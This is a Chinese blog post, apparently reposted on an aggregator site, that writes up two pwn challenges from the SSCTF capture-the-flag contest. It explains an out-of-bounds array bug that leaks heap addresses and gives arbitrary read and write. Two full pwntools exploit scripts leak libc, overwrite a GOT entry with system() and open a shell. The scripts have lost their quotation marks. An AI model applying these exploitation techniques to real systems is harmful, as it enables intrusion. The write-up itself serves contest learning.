SSCTF-PWN

Posted 简单地快乐

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SSCTF-PWN相关的知识,希望对你有一定的参考价值。

  前几天比赛的PWN题,简单写了下。

PWN400

  漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。

  程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:

typedef struct chunk1{
    int size;
    int array[size];
}chunk1, *pchunk1;

  第二种是用于索引这些排序数据块的基本块。可以定义为:

typedef struct chunk2{
    pchunk1 data;
    struct chunk2 *next;
}chunk2, *pchunk2;

  第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。

  通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。

技术分享

 1 from pwn import *
 2 import time
 3 #context.log_level = ‘debug‘
 4 #by wangaohui
 5 s = remote(127.0.0.1, 10001)
 6 
 7 time.sleep(1)
 8 print pid of pwn1 is : + str(pwnlib.util.proc.pidof(pwn1)[0])
 9 raw_input(go!)
10 
11 def sort(data):
12     s.sendline(sort)
13     s.recvuntil(How many numbers do you want to sort: )
14     s.sendline(str(len(data)))
15     for i in data:
16         s.recvuntil(Enter a number: )
17         s.sendline(str(i))
18 s.recvuntil(_CMD_$ )
19 sort([1])
20 s.recvuntil(Choose: )
21 s.sendline(3)
22 s.recvuntil(Choose: )
23 s.sendline(1)
24 s.recvuntil(Query index: )
25 s.sendline(1)
26 s.recvuntil(Query result: )
27 bigtrunk = int(s.recvuntil(\n)[:-1])
28 print leaked bigtrunk addr is %x % bigtrunk
29 s.recvuntil(Choose: )
30 s.sendline(7)
31 
32 s.recvuntil(_CMD_$ )
33 sort([1,2,3,4,5,6,7])
34 s.recvuntil(Choose: )
35 s.sendline(3)
36 s.recvuntil(Choose: )
37 s.sendline(7)
38 
39 s.sendline(clear)
40 
41 s.recvuntil(_CMD_$ )
42 sort([1,2,3,4,5,6,7])
43 s.recvuntil(Choose: )
44 s.sendline(3)
45 s.recvuntil(Choose: )
46 s.sendline(7)
47 
48 s.recvuntil(_CMD_$ )
49 sort([1])
50 s.recvuntil(Choose: )
51 s.sendline(2)
52 s.recvuntil(Update index: )
53 s.sendline(1)
54 s.recvuntil(Update number: )
55 s.sendline(1073741825) #0x40000001
56 s.recvuntil(Update succeed!)
57 s.sendline(7)
58 
59 s.recvuntil(_CMD_$ )
60 s.sendline(reload)
61 s.recvuntil(Reload history ID: )
62 s.sendline(0)
63 s.recvuntil(Choose: )
64 s.sendline(1)
65 
66 atoigot = int(0804D020,16) + 0x100000000
67 index = (atoigot - (bigtrunk + 0xc))/4
68 
69 s.recvuntil(Query index: )
70 s.sendline(str(index))
71 s.recvuntil(Query result: )
72 atoi = int(s.recvuntil(\n)[:-1])&0xffffffff
73 print leaked aoti addr: %x % atoi
74 system = atoi - 0x2F7F0 + 0x3E360    #debug
75 
76 s.recvuntil(Choose: )
77 s.sendline(2)
78 s.recvuntil(Update index: )
79 s.sendline(str(index))
80 s.recvuntil(Update number: )
81 systemstr = - + str((system^0xffffffff)+1)
82 s.sendline(systemstr)
83 
84 s.recvuntil(Choose: )
85 s.sendline(/bin/sh;)
86 s.interactive()

 

PWN600

    在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。

    泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。

技术分享

 1 from pwn import *
 2 import time
 3 #context.log_level = ‘debug‘
 4 
 5 s = remote(127.0.0.1, 10001)
 6 time.sleep(1)
 7 print pid of pwn2 is : + str(pwnlib.util.proc.pidof(pwn2)[0])
 8 raw_input(go!)
 9 
10 def sort(data):
11     s.sendline(sort)
12     s.recvuntil(How many numbers do you want to sort: )
13     s.sendline(str(len(data)))
14     for i in data:
15         s.recvuntil(Enter a number: )
16         s.sendline(str(i))
17 
18 s.recvuntil(_CMD_$ )
19 sort([1,2])
20 s.recvuntil(Choose: )
21 s.sendline(3)
22 s.recvuntil(Choose: )
23 s.sendline(1)
24 s.recvuntil(Query index: )
25 s.sendline(2)
26 s.recvuntil(Query result: )
27 bigtrunk = int(s.recvuntil(\n)[:-1])
28 print leaked bigtrunk addr is %x % bigtrunk
29 
30 s.recvuntil(Choose: )
31 s.sendline(2)
32 s.recvuntil(Update index: )
33 s.sendline(2)
34 s.recvuntil(Update number: )
35 s.sendline(str(int(0804C04C,16)))
36 s.recvuntil(Choose: )
37 s.sendline(7)
38 
39 s.recvuntil(_CMD_$ )
40 s.sendline(history)
41 s.recvuntil(, Len = )
42 random = int(s.recvuntil(,)[:-1])
43 print leaked cookie is %x % random
44 
45 s.recvuntil(_CMD_$ )
46 t1 = int(40000001,16)
47 t2 = t1^random
48 if(t2>t1):
49     print Will be Exploited!
50 sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
51 s.recvuntil(Choose: )
52 s.sendline(3)
53 pos = bigtrunk + 0x20
54 s.recvuntil(Choose: )
55 s.sendline(2)
56 s.recvuntil(Update index: )
57 s.sendline(8)
58 s.recvuntil(Update number: )
59 s.sendline(str(pos))
60 s.recvuntil(Choose: )
61 s.sendline(7)
62 
63 s.recvuntil(_CMD_$ )
64 s.sendline(reload)
65 
66 base = bigtrunk + 0x50
67 atol_got = 0x10804C01C
68 index = (atol_got - base)/4
69 print index is %d % index
70 s.recvuntil(Reload history ID: )
71 s.sendline(1)
72 s.recvuntil(Choose: )
73 s.sendline(1)
74 s.recvuntil(Query index: )
75 s.sendline(str(index))
76 s.recvuntil(Query result: )
77 atol = int(s.recvuntil(\n)[:-1])&0xffffffff
78 system = atol - 0x000327B0 + 0x0003E360
79 print leaked system addr is %x % system
80 systemstr = - + str((system^0xffffffff)+1)
81 
82 s.recvuntil(Choose: )
83 s.sendline(2)
84 s.recvuntil(Update index: )
85 s.sendline(str(index))
86 s.recvuntil(Update number: )
87 s.sendline(systemstr) 
88 s.recvuntil(Update succeed!)
89 s.recvuntil(Choose: )
90 
91 s.sendline(/bin/sh;)
92 s.interactive()

 

以上是关于SSCTF-PWN的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数